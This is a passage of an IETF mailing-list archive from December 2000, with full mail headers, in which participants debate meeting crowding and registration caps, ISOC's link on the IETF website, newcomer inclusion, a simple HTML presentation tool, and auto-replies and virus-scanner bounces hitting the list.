doesn't make the hotel issue any easier, as we have less buying > power. [Dan] Maybe, but the goal of this discussion is lowering the crowding... > 3) It guarantees that newcomers will not be there on Sunday for an > orientation session. [Dan] Newcomers orientation meeting should be open. > > I like the idea of encouraging more interum meetings. [Dan] I do like interim meetings as well. Some of the interim meetings I was involved in were very productive. However, my impression is that the IESG does not encourage them - they would rather see Working Groups using the e-mail lists. > > From owner-ietf-outbound Wed Dec 27 09:40:46 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA17590 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 09:40:02 -0500 (EST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA17528 for ; Wed, 27 Dec 2000 09:36:04 -0500 (EST) Received: from madrid.ericsson.se (madrid.es.eu.ericsson.se [164.48.87.150]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id eBREa2G03185 for ; Wed, 27 Dec 2000 15:36:02 +0100 (MET) Received: from madrid.ericsson.se by madrid.ericsson.se (SMI-8.6/SMI-SVR4) id PAA21030; Wed, 27 Dec 2000 15:35:58 +0100 Message-ID: <3A49FE59.4E365387@madrid.ericsson.se> Date: Wed, 27 Dec 2000 15:36:09 +0100 From: Maria-Carmen Reply-To: emecbv@MADRID.ES.EU.ERICSSON.SE X-Mailer: Mozilla 4.61 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 CC: "'ietf@ietf.org'" Subject: Cisco at Social Event References: <70805CBA8CD4D211A8090060945155F3023666CA@email.exchange.umkc.edu> Content-Type: multipart/mixed; boundary="------------B054C917788AAA7FAFB61569" X-Loop: ietf@ietf.org This is a multi-part message in MIME format. --------------B054C917788AAA7FAFB61569 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Please, can anybody tell me where I can reach the Cisco people who organized the Scoial Event and Lan cards at the San Diego IETF? Thanks, MCarmen --------------B054C917788AAA7FAFB61569 Content-Type: text/x-vcard; charset=us-ascii; name="emecbv.vcf" Content-Description: Card for Maria-Carmen Content-Disposition: attachment; filename="emecbv.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Belinchon;Maria-Carmen tel;fax:+ 34 91 339 2906 tel;work:+ 34 91 339 3535 x-mozilla-html:FALSE org:Network Communication Services;EEM/TD/LN version:2.1 email;internet:maria.c.belinchon@ericsson.com title:Datacom Engineer adr;quoted-printable:;;Retama 7, 5th floor=0D=0A;Madrid;;28045;Spain fn:


Maria-Carmen Belinchon end:vcard --------------B054C917788AAA7FAFB61569-- From owner-ietf-outbound Wed Dec 27 16:00:28 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24338 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 16:00:02 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA24222 for ; Wed, 27 Dec 2000 15:54:16 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id MAA59144; Wed, 27 Dec 2000 12:53:21 -0800 Received: from hursley.ibm.com (gsine03.us.sine.ibm.com [9.14.6.43]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id MAA24774; Wed, 27 Dec 2000 12:53:45 -0800 Message-ID: <3A4A5683.ED84FB99@hursley.ibm.com> Date: Wed, 27 Dec 2000 14:52:19 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: Randy Bush CC: ietf@ietf.org Subject: Re: scum suckers (was Re: Bottom feeders:-) References: <15F58915DF84D311AC7D0090279AA6142342F6@itc-eml2.lannet.com> <200012262203.eBQM38f06275@sandelman.ottawa.on.ca> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I hate to argue with Randy's common sense but I don't think this works. There are always people who can't get travel authorisation until very late, or whatever, among those who are absolutely needed (i.e. document authors etc.). So we would need rules about who gets in regardless of the limit, and I don't see any way out of the discussion that would generate. Brian Randy Bush wrote: > > as no one has mentioned this approach, i figured to add to the non- > productive confusion as follows: > > nanog had an analogous crowding issue. the organizers looked at the problem > and said > > the goal is not to become large, the goal is to maintain quality > > but one does not want to disenfranchise any particular constituency > > so nangog gets space for about 500 people, allows just that many to > register, and it's first register first serve. > > randy From owner-ietf-outbound Wed Dec 27 16:10:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA24494 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 16:10:02 -0500 (EST) Received: from mailhub1.almaden.ibm.com (mailhub1.almaden.ibm.com [198.4.83.44]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA24405 for ; Wed, 27 Dec 2000 16:05:02 -0500 (EST) Received: from maui.almaden.ibm.com (maui.almaden.ibm.com [9.1.24.92]) by mailhub1.almaden.ibm.com (8.8.8/8.8.8) with ESMTP id NAA34222; Wed, 27 Dec 2000 13:04:07 -0800 Received: from hursley.ibm.com (gsine03.us.sine.ibm.com [9.14.6.43]) by maui.almaden.ibm.com (AIX4.3/8.9.3/8.7) with ESMTP id NAA20854; Wed, 27 Dec 2000 13:04:31 -0800 Message-ID: <3A4A5908.E00F5D4D@hursley.ibm.com> Date: Wed, 27 Dec 2000 15:03:04 -0600 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en,fr MIME-Version: 1.0 To: L.Wood@eim.surrey.ac.uk CC: ietf@ietf.org Subject: Re: www.ietf.org advertising isoc References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Lloyd, There is nothing on the IETF (or ISOC) web site suggesting that ISOC membership is required, so what is your problem? Since the ISOC funds the RFC Editor and provides a budget at the disposal of the IETF Chair, not to mention providing vital legal insurance, a pointer (which is actually taken from RFC 2028) hardly seems inappropriate as a minimal acknowledgement. Truth in advertising: this addition to the web site was made at my request, of course with the agreement of the IETF Chair. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Program Director, Internet Standards & Technology, IBM On assignment for IBM at http://www.iCAIR.org Board Chairman, Internet Society http://www.isoc.org Non-IBM email: brian@icair.org Lloyd Wood wrote: > > I see the slightly-updated www.ietf.org webpage is now linking to the > Internet Society. If we're doing banner promotion, I'd appreciate a > nice interstitial page stating that you do not have to be a member of > ISOC to be a member of the IETF, much less have access to the ISOC > member-only pages. Yes, this is mentioned on > http://www.isoc.org/standards/ - a way after the membership blurbs and > the corporate platinum programme, though. > > (note the confusion over getting involved in the IETF expressed in > RFC3002. This doesn't help.) > > L. > > PGP From owner-ietf-outbound Wed Dec 27 16:50:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA25231 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 16:50:03 -0500 (EST) Received: from munnari.OZ.AU (munnari.OZ.AU [128.250.1.21]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25165 for ; Wed, 27 Dec 2000 16:46:30 -0500 (EST) Received: from mundamutti.cs.mu.OZ.AU ([128.250.1.5]) by munnari.OZ.AU with SMTP (5.83--+1.3.1+0.59) id VA05099; Thu, 28 Dec 2000 08:46:08 +1100 (from kre@munnari.OZ.AU) From: Robert Elz To: Brian E Carpenter Cc: Randy Bush , ietf@ietf.org Subject: Re: scum suckers (was Re: Bottom feeders:-) In-Reply-To: Your message of "Wed, 27 Dec 2000 14:52:19 MDT." <3A4A5683.ED84FB99@hursley.ibm.com> Date: Thu, 28 Dec 2000 08:46:08 +1100 Message-Id: <7129.977953568@mundamutti.cs.mu.OZ.AU> X-Loop: ietf@ietf.org Date: Wed, 27 Dec 2000 14:52:19 -0600 From: Brian E Carpenter Message-ID: <3A4A5683.ED84FB99@hursley.ibm.com> | I hate to argue with Randy's common sense but I don't think this | works. There are always people who can't get travel authorisation | until very late, or whatever, No, the effect would be to make IETF registration work the same way that booking a room in the IETF hotel works today - the instant registration opens everyone books .. then cancel later if unable to attend. The effect of a limit would be more to prefer those who operate in an advantageous timezone to the opening of registration over others who don't. kre From owner-ietf-outbound Wed Dec 27 17:00:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA25365 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 17:00:03 -0500 (EST) Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA25293 for ; Wed, 27 Dec 2000 16:54:46 -0500 (EST) Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA23286; Wed, 27 Dec 2000 16:54:46 -0500 (EST) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by bart.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id QAA13066; Wed, 27 Dec 2000 16:54:46 -0500 (EST) Message-ID: <3A4A904A.E1517A77@cs.columbia.edu> Date: Wed, 27 Dec 2000 16:58:50 -0800 From: Henning Schulzrinne Organization: Columbia University X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Randy Bush , ietf@ietf.org Subject: Re: scum suckers (was Re: Bottom feeders:-) References: <15F58915DF84D311AC7D0090279AA6142342F6@itc-eml2.lannet.com> <200012262203.eBQM38f06275@sandelman.ottawa.on.ca> <3A4A5683.ED84FB99@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Workshops with restricted attendance often seem to have a two-tiered policy: authors/panelists first, rest later on a space-available basis. This unfortunately, for the IETF, has obvious gaming potential which the I-D editor is not likely to appreciate. Relying on drafts to be discussed at a WG doesn't work, as that's decided way too late in most cases. (Any restriction, based on content or anything but cut-off dates, is likely to cause concerns about openness and equal access, which presumably NANOG does not have to deal with.) Brian E Carpenter wrote: > > I hate to argue with Randy's common sense but I don't think this > works. There are always people who can't get travel authorisation > until very late, or whatever, among those who are absolutely needed > (i.e. document authors etc.). So we would need rules about who gets in > regardless of the limit, and I don't see any way out of the discussion > that would generate. > > Brian > > Randy Bush wrote: > > > > as no one has mentioned this approach, i figured to add to the non- > > productive confusion as follows: > > > > nanog had an analogous crowding issue. the organizers looked at the problem > > and said > > > > the goal is not to become large, the goal is to maintain quality > > > > but one does not want to disenfranchise any particular constituency > > > > so nangog gets space for about 500 people, allows just that many to > > register, and it's first register first serve. > > > > randy > > - > This message was passed through ietf+censored@alvestrand.no, which > is a sublist of ietf@ietf.org. Not all messages are passed. > Decisions on what to pass are made solely by Harald Alvestrand. From owner-ietf-outbound Wed Dec 27 19:03:00 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA26374 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 19:00:02 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA26323 for ; Wed, 27 Dec 2000 18:55:53 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBRNtqe02299 for ietf@ietf.org env-from ; Wed, 27 Dec 2000 16:55:52 -0700 (MST) Date: Wed, 27 Dec 2000 16:55:52 -0700 (MST) From: Vernon Schryver Message-Id: <200012272355.eBRNtqe02299@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: scum suckers (was Re: Bottom feeders:-) X-Loop: ietf@ietf.org > Randy Bush wrote: > ... > > the goal is not to become large, the goal is to maintain quality > > > > but one does not want to disenfranchise any particular constituency > > > > so nangog gets space for about 500 people, allows just that many to > > register, and it's first register first serve. > From: Brian E Carpenter > To: Randy Bush > CC: ietf@ietf.org > I hate to argue with Randy's common sense but I don't think this > works. There are always people who can't get travel authorisation > until very late, or whatever, among those who are absolutely needed > (i.e. document authors etc.). So we would need rules about who gets in > regardless of the limit, and I don't see any way out of the discussion > that would generate. Whether it would work depends on your goals. It clearly would work against the goal of making the IETF meeting bigger and more "inclusive," both of which are unadmitted and even denied but dear goals of many people. However, no IETF meeting absolutely needs the attendance of any documents' authors, if the mailing lists are paramount. Yes, sometimes a picture or a face to face meeting can be quicker and easier than email, but a document that cannot eventually be understood via email is worthless and can never be understood. Other than those actually running the meetings, no one is absolutely needed, if the mailing lists are the authoritative forums. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Wed Dec 27 19:10:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA26553 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 19:10:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA26434 for ; Wed, 27 Dec 2000 19:04:18 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14BQYJ-000AjG-00; Wed, 27 Dec 2000 16:04:15 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Brian E Carpenter Cc: ietf@ietf.org Subject: Re: scum suckers (was Re: Bottom feeders:-) References: <15F58915DF84D311AC7D0090279AA6142342F6@itc-eml2.lannet.com> <200012262203.eBQM38f06275@sandelman.ottawa.on.ca> <3A4A5683.ED84FB99@hursley.ibm.com> Message-Id: Date: Wed, 27 Dec 2000 16:04:15 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > I hate to argue with Randy's common sense but I don't think this > works. There are always people who can't get travel authorisation > until very late, or whatever, among those who are absolutely needed > (i.e. document authors etc.). So we would need rules about who gets in > regardless of the limit, and I don't see any way out of the discussion > that would generate. not really. one can always cancel hotel rooms, registrations, ... but this was not meant as a strong suggestion, merely an idea which had yet to be mentioned. randy From owner-ietf-outbound Wed Dec 27 20:50:31 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA27318 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 20:50:01 -0500 (EST) Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27276 for ; Wed, 27 Dec 2000 20:43:44 -0500 (EST) Received: from pickaxe.demon.co.uk ([158.152.132.227] helo=VAIODMFM) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 14BS6a-00027w-0X for ietf@ietf.org; Thu, 28 Dec 2000 01:43:45 +0000 From: Denis Mcmahon To: ietf@ietf.org Subject: Re: Enanito si, pero con que pedazo! Date: Thu, 28 Dec 2000 01:43:47 +0000 Organization: E-Menu Ltd Reply-To: denisrt@PICKAXE.DEMON.CO.UK Message-ID: References: <7EB7C6B62C4FD41196A80090279A29110176931A@exchsrv1.cosinecom.com> In-Reply-To: <7EB7C6B62C4FD41196A80090279A29110176931A@exchsrv1.cosinecom.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id UAA27276 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit On Tue, 26 Dec 2000 10:51:49 -0800, you wrote: >My corporate mail system with virus scanning says that this mail (may have >had an attachment) is infected. I hope, you haven't become a victim. I understand from comments elsewhere that it's a nasty little beast that hooks to the winsock looking for email addresses. It may also have a destructive payload - I don't know. Rgds Denis -- Denis McMahon Usenet: Trim quotes Mobile: +44 7802 468949 Reply at the end Email: denis@pickaxe.demon.co.uk Don't use html I trim ng when posting! Email domain blocking in use From owner-ietf-outbound Wed Dec 27 23:30:39 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA00091 for ietf-outbound.10@ietf.org; Wed, 27 Dec 2000 23:30:02 -0500 (EST) Received: from lorax.whoville.ne.cohesive.com ([64.28.85.37]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA00062 for ; Wed, 27 Dec 2000 23:28:03 -0500 (EST) Received: (from cos@localhost) by lorax.whoville.ne.cohesive.com (8.9.1a/8.9.1) id XAA14335 for ietf@ietf.org; Wed, 27 Dec 2000 23:27:22 -0500 (EST) Date: Wed, 27 Dec 2000 23:27:22 -0500 From: Ofer Inbar To: ietf@ietf.org Subject: Re: Welcoming newcomers Message-ID: <20001227232722.X1317@lorax.whoville.ne.cohesive.com> References: <3A412B5F.A93A6D8C@hursley.ibm.com> <200012210054.eBL0sIJ20827@zed.isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <200012210054.eBL0sIJ20827@zed.isi.edu>; from Bill Manning on Wed, Dec 20, 2000 at 04:54:18PM -0800 X-Loop: ietf@ietf.org I'm not a newcomer, but I don't go to meetings very often. I joined the IETF list in 1990 and have participated in some WGs on and off since then, but in that whole time I think I've attended only 5 IETF meetings. So, in the stats the secretariat keeps, I don't know if I show up as a repeat, especially considering that I've only registered twice under the same employer, thanks to the plethora of mergers in our industry :) When I do attend a meeting, I take the opportunity to visit other WG sessions I'm interested in. Often these are topics that I've participated in in the past, but have had to drop due to limited time, so I read drafts occasionally and I visit WG sessions when I'm there, just to keep up and maybe be able to plug back in more easily at some point in the future when I have time. I think one of the main benefits of going to an IETF meeting, as opposed to WG mailing lists or interim meetings, is exactly that. Being aware of what's going on around our own narrow WG interests gives it all a useful context. And more than once I've been able to speak up at a session of a WG I wasn't participating in, and say "hey, are you aware of similar project X being done in WG Z that seems to relate to what we're discussing here?" Because I attend so infrequently, outside of whatever WG I happen to be participating in at the time, few people recognize me. So even though I'm not a newbie, people have no way of knowing that. I've found that the IETF is one of the easiest organizations for a new and unconnected person to be accepted in and taken serious. Perhaps *the* easiest. I often find myself in hallway conversation with chairs and ADs and protocol authors, who don't seem to think of themselves as any different from any other IETF attendees, and who will speak with anyone who has an interesting point to make, whether they know the person or not. Sure, there are some barriers, when some people know each other and other's don't. But in the IETF, the barriers are at their weakest. As with all such situations, a lot of the perceived barrier is likely in the perceiver's head, and in this case, I think that's more true than in most. If you *think* there's an old-boy network, and treat people accordingly, and hesitate to talk, that can be self-fulfilling. It's easy to percieve a clique where there isn't one, if you're expecting a clique. -- Cos (Ofer Inbar) -- cos@aaaaa.org cos@exodus.net -- Exodus Professional Services -- http://www.exodus.net/ "We all misuse the net for personal gain, one way or another." -- Larry Wall From owner-ietf-outbound Thu Dec 28 12:31:03 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA17447 for ietf-outbound.10@ietf.org; Thu, 28 Dec 2000 12:30:03 -0500 (EST) Received: from localhost.localdomain ([216.52.68.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17403 for ; Thu, 28 Dec 2000 12:27:32 -0500 (EST) Received: from ecal.com (localhost [127.0.0.1]) by localhost.localdomain (8.11.0/8.11.0) with ESMTP id eBSHVSn16526; Thu, 28 Dec 2000 12:31:28 -0500 Sender: francis@localhost.localdomain Message-ID: <3A4B78ED.627C6DEB@ecal.com> Date: Thu, 28 Dec 2000 12:31:25 -0500 From: John Stracke X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i586) X-Accept-Language: en, de, es MIME-Version: 1.0 To: ietf@ietf.org Subject: Tool for very basic presentations Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit I have a program I wrote a while ago that turns an outline written into HTML into a presentation made up of linked HTML pages. It occurred to me that this might be useful for people who want to do a simple drill-down talk in a WG meeting; the results aren't pretty enough to be distracting, and all the files are in HTML rather than a proprietary format, so they're more suitable for posting to the list or entering in the minutes. I got my employer's permission to release it under the GPL; it's at . It's *very* basic; don't expect a lot. This was not an effort to produce a snazzy presentation program; this was a tool I wrote when I had to do a presentation, and spent maybe half an hour generalizing so other people could use it. -- /================================================================\ |John Stracke | http://www.ecal.com |My opinions are my own. | |Chief Scientist |===============================================| |eCal Corp. |"Lollygaggers will be shot on sight!" "I didn't| |francis@ecal.com|say that!" "I was paraphrasing." | \================================================================/ From owner-ietf-outbound Thu Dec 28 15:11:27 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA18806 for ietf-outbound.10@ietf.org; Thu, 28 Dec 2000 15:10:02 -0500 (EST) Received: from snark.piermont.com ([206.1.51.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18596 for ; Thu, 28 Dec 2000 14:49:54 -0500 (EST) Received: by snark.piermont.com (Postfix, from userid 1000) id A286E1E00AE; Thu, 28 Dec 2000 14:49:55 -0500 (EST) Sender: perry@snark.piermont.com To: Randy Bush Cc: Daniel Senie , ietf@ietf.org Subject: Re: Denial of Service by Spamware? References: <3A490F7A.9C3AF6D8@senie.com> From: "Perry E. Metzger" Date: 28 Dec 2000 14:49:55 -0500 In-Reply-To: Randy Bush's message of "Tue, 26 Dec 2000 16:39:24 -0800" Message-ID: <873df872cc.fsf@snark.piermont.com> Lines: 25 X-Mailer: Gnus v5.7/Emacs 20.6 X-Loop: ietf@ietf.org Randy Bush writes: > actually, if it is a delivery failure notification, 1123 5.3.3 would seem > to apply. mail bounces are to be sent to the MAIL FROM: not the original > sender. or even if they were sent to the from: we would not see them. > > this has been designed to be max annoying. get the word out. tell > folk NOT TO BUY ANTIGEN. It is even worse than that. Anyone who has posted to the IETF list in the last week or two has gotten literally dozens of "out of office notification" messages from Microsoft Exchange clients. You would think the largest application software provider in the world would understand the difference between envelope and message headers, but apparently not. (You would also think that, as with many Unix based mailers, they'd understand notions like not sending automated replies if the person isn't in the header To: or CC: lines, but apparently that behavior is also too complicated for them to understand.) This problem has been around for years now, and there is no sign of enough clue showing up to fix it. .pm From owner-ietf-outbound Thu Dec 28 15:20:10 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA18939 for ietf-outbound.10@ietf.org; Thu, 28 Dec 2000 15:20:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18672 for ; Thu, 28 Dec 2000 14:58:07 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 14BjBR-0003iH-00; Thu, 28 Dec 2000 11:57:53 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "Perry E. Metzger" Cc: Daniel Senie , ietf@ietf.org Subject: Re: Denial of Service by Spamware? References: <3A490F7A.9C3AF6D8@senie.com> <873df872cc.fsf@snark.piermont.com> Message-Id: Date: Thu, 28 Dec 2000 11:57:53 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Anyone who has posted to the IETF list in the last week or two has > gotten literally dozens of "out of office notification" messages from > Microsoft Exchange clients. You would think the largest application > software provider in the world would understand the difference between > envelope and message headers, but apparently not. (You would also > think that, as with many Unix based mailers, they'd understand notions > like not sending automated replies if the person isn't in the header > To: or CC: lines, but apparently that behavior is also too complicated > for them to understand.) i'll see ya' and raise ya' o ne better. mailing list owners get the appended from microsft corporate. note the lack of information on which addressee's mail is bouncing, but it tells me to "Verify that the recipient address is correct." From: "Automated Virus Gateway (do not reply)" To: owner-rap@ops.ietf.org Subject: Mail could not be delivered Date: Tue, 26 Dec 2000 23:05:35 -0800 ****** Message from InterScan E-Mail VirusWall NT ****** The following mail could not be delivered. Reason: Exceeded Maximum Delivery Attempts. Verify that the recipient address is correct. ***************** End of message *************** ----- Message-ID: <4.3.2.7.2.20001225220830.00d07630@csi-admin1> From: Ron Cohen Sender: owner-rap@ops.ietf.org To: rap@ops.ietf.org Subject: RE: draft-santitoro-rap-policy-errorcodes-01.txt Date: Mon, 25 Dec 2000 22:09:13 -0800 X-Mailer: Internet Mail Service (5.5.2651.58) x-sender: ronc@csi-admin1 .... nya nya nya :-) randy From owner-ietf-outbound Thu Dec 28 16:30:45 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA19635 for ietf-outbound.10@ietf.org; Thu, 28 Dec 2000 16:30:02 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA19574 for ; Thu, 28 Dec 2000 16:25:29 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBSLPV705212 for ietf@ietf.org env-from ; Thu, 28 Dec 2000 14:25:31 -0700 (MST) Date: Thu, 28 Dec 2000 14:25:31 -0700 (MST) From: Vernon Schryver Message-Id: <200012282125.eBSLPV705212@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? X-Loop: ietf@ietf.org > From: Randy Bush > ... > > Anyone who has posted to the IETF list in the last week or two has > > gotten literally dozens of "out of office notification" messages from > > Microsoft Exchange clients. ... > i'll see ya' and raise ya' o ne better. mailing list owners get the > appended from microsft corporate. note the lack of information on which > addressee's mail is bouncing, but it tells me to "Verify that the recipient > address is correct." > ... I'll see that and raise yet again. A few months ago, Novell was sending similar, useless and uninformative delivery failure not to list owners but to people who posted to the IETF list. A list owner can often respond to such noise by removing all subscribers with addresses at the idiot outfit. That doesn't work when the listed address at idiot outfit is actually for someone whose mail is being forwarded from elsewhere (e.g. after changing jobs) and the idiot outfit's bounces don't include headers with clues about the forwarding. I've seen that more than once in real life. Although I know it's hopeless, I still say the right thing is for the IETF to automatically unsubscribe anyone whose mail bears the tell tail "X-Mailer: Internet Mail Service". By tolerating the malware and being "inclusive" of those who insist on abusing the rest of us with it, the IETF is sanctioning it. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Thu Dec 28 21:31:02 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA21403 for ietf-outbound.10@ietf.org; Thu, 28 Dec 2000 21:30:02 -0500 (EST) Received: from swan.prod.itd.earthlink.net (swan.prod.itd.earthlink.net [207.217.120.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA21367 for ; Thu, 28 Dec 2000 21:24:47 -0500 (EST) Received: from vulcan (1Cust107.tnt5.redmond.wa.da.uu.net [63.23.203.107]) by swan.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id SAA02342 for ; Thu, 28 Dec 2000 18:24:48 -0800 (PST) Message-ID: <015701c0713e$8339fae0$140a0a0a@ambler.net> Reply-To: "Christopher Ambler" From: "Christopher Ambler" To: References: <200012282125.eBSLPV705212@calcite.rhyolite.com> Subject: Re: Denial of Service by Spamware? Date: Thu, 28 Dec 2000 18:24:44 -0800 Organization: Image Online Design, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id VAA21367 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit > Although I know it's hopeless, I still say the right thing is for the > IETF to automatically unsubscribe anyone whose mail bears the tell tail > "X-Mailer: Internet Mail Service". > By tolerating the malware and being "inclusive" of those who insist on > abusing the rest of us with it, the IETF is sanctioning it. I use Exchange, and it works fine for me. I have no settings that would cause it to send out anything like what you've seen. If you rig it such that my choice of mail software, which has done no harm to you, causes my de-subscription to this list, you have discriminated against my choice. Hardly fair. If there's a specific technical gripe you have, say so. If it's a violation of any RFC, I'd be pleased to personally call it to the attention of someone in Exchange who can look at it. I worked for Microsoft for 3 years, and know a couple of folks. No promises, I don't work there any more, but I'd be happy to see if I can help. If, on the other hand, you have a problem with a particular person's misconfiguration, or addition of 3rd party software (like virus scanners) that are spewing garbage, why not take it up with them. Please do let me know if I'm missing something, other than religious aversions to Microsoft. Christopher From owner-ietf-outbound Thu Dec 28 22:30:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA22586 for ietf-outbound.10@ietf.org; Thu, 28 Dec 2000 22:30:02 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA22541 for ; Thu, 28 Dec 2000 22:20:25 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBT3KRb12444 for ietf@ietf.org env-from ; Thu, 28 Dec 2000 20:20:27 -0700 (MST) Date: Thu, 28 Dec 2000 20:20:27 -0700 (MST) From: Vernon Schryver Message-Id: <200012290320.eBT3KRb12444@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? X-Loop: ietf@ietf.org > From: "Christopher Ambler" > To: > X-Mailer: Microsoft Outlook Express 5.50.4522.1200 > > Although I know it's hopeless, I still say the right thing is for the > > IETF to automatically unsubscribe anyone whose mail bears the tell tail > > "X-Mailer: Internet Mail Service". > > By tolerating the malware and being "inclusive" of those who insist on > > abusing the rest of us with it, the IETF is sanctioning it. > > I use Exchange, and it works fine for me. I have no settings that would > cause it to send out anything like what you've seen. If you rig it such > that my choice of mail software, which has done no harm to you, > causes my de-subscription to this list, you have discriminated against > my choice. Hardly fair. Notice that I did not say "Microsoft" or "Exchange" because I have no certain knowledge that Microsoft 